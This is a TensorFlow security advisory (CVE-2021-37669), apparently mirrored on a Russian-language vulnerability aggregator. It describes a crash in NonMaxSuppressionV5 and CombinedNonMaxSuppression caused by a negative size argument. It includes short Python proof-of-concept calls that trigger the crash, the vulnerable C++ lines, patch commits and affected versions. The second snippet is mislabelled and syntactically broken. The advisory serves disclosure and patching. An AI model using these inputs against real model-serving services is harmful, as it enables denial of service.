exploitDog

GHSA-vmjw-c2vp-p33c

Опубликовано: 25 авг. 2021

Источник: github

Github: Прошло ревью

CVSS4: 6.8

CVSS3: 5.5

Описание

Crash in NMS ops caused by integer conversion to unsigned

Impact

An attacker can cause denial of service in applications serving models using tf.raw_ops.NonMaxSuppressionV5 by triggering a division by 0:

import tensorflow as tf tf.raw_ops.NonMaxSuppressionV5( boxes=[[0.1,0.1,0.1,0.1],[0.2,0.2,0.2,0.2],[0.3,0.3,0.3,0.3]], scores=[1.0,2.0,3.0], max_output_size=-1, iou_threshold=0.5, score_threshold=0.5, soft_nms_sigma=1.0, pad_to_max_output_size=True)

The implementation uses a user controlled argument to resize a std::vector:

const int output_size = max_output_size.scalar<int>()(); // ... std::vector<int> selected; // ... if (pad_to_max_output_size) { selected.resize(output_size, 0); // ... }

However, as std::vector::resize takes the size argument as a size_t and output_size is an int, there is an implicit conversion to usigned. If the attacker supplies a negative value, this conversion results in a crash.

A similar issue occurs in CombinedNonMaxSuppression:

import tensorflow as tf tf.raw_ops.NonMaxSuppressionV5( boxes=[[[[0.1,0.1,0.1,0.1],[0.2,0.2,0.2,0.2],[0.3,0.3,0.3,0.3]],[[0.1,0.1,0.1,0.1],[0.2,0.2,0.2,0.2],[0.3,0.3,0.3,0.3]],[[0.1,0.1,0.1,0.1],[0.2,0.2,0.2,0.2],[0.3,0.3,0.3,0.3]]]], scores=[[[1.0,2.0,3.0],[1.0,2.0,3.0],[1.0,2.0,3.0]]], max_output_size_per_class=-1, max_total_size=10, iou_threshold=score_threshold=0.5, pad_per_class=True, clip_boxes=True)

Patches

We have patched the issue in GitHub commit 3a7362750d5c372420aa8f0caf7bf5b5c3d0f52d and commit b5cdbf12ffcaaffecf98f22a6be5a64bb96e4f58.

The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by members of the Aivul Team from Qihoo 360.

Ссылки

Пакеты

Наименование

tensorflow

pip

Затронутые версииВерсия исправления

< 2.3.4

2.3.4

Наименование

tensorflow

pip

Затронутые версииВерсия исправления

>= 2.4.0, < 2.4.3

2.4.3

Наименование

tensorflow

pip

Затронутые версииВерсия исправления

= 2.5.0

2.5.1

Наименование

tensorflow-cpu

pip

Затронутые версииВерсия исправления

< 2.3.4

2.3.4

Наименование

tensorflow-cpu

pip

Затронутые версииВерсия исправления

>= 2.4.0, < 2.4.3

2.4.3

Наименование

tensorflow-cpu

pip

Затронутые версииВерсия исправления

= 2.5.0

2.5.1

Наименование

tensorflow-gpu

pip

Затронутые версииВерсия исправления

< 2.3.4

2.3.4

Наименование

tensorflow-gpu

pip

Затронутые версииВерсия исправления

>= 2.4.0, < 2.4.3

2.4.3

Наименование

tensorflow-gpu

pip

Затронутые версииВерсия исправления

= 2.5.0

2.5.1

EPSS

Процентиль: 9%

0.00032

Низкий

6.8 Medium

CVSS4

5.5 Medium

CVSS3

CVE ID

Дефекты

CWE-681

Связанные уязвимости

CVE-2021-37669

CVSS3: 5.5

nvd

больше 4 лет назад

TensorFlow is an end-to-end open source platform for machine learning. In affected versions an attacker can cause denial of service in applications serving models using `tf.raw_ops.NonMaxSuppressionV5` by triggering a division by 0. The [implementation](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/kernels/image/non_max_suppression_op.cc#L170-L271) uses a user controlled argument to resize a `std::vector`. However, as `std::vector::resize` takes the size argument as a `size_t` and `output_size` is an `int`, there is an implicit conversion to unsigned. If the attacker supplies a negative value, this conversion results in a crash. A similar issue occurs in `CombinedNonMaxSuppression`. We have patched the issue in GitHub commit 3a7362750d5c372420aa8f0caf7bf5b5c3d0f52d and commit [b5cdbf12ffcaaffecf98f22a6be5a64bb96e4f58. The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow

CVE-2021-37669

CVSS3: 5.5

debian

больше 4 лет назад

TensorFlow is an end-to-end open source platform for machine learning. ...

openSUSE-SU-2022:10014-1

suse-cvrf

больше 3 лет назад

Security update for tensorflow2

EPSS

Процентиль: 9%

0.00032

Низкий

6.8 Medium

CVSS4

5.5 Medium

CVSS3

CVE ID

Дефекты

CWE-681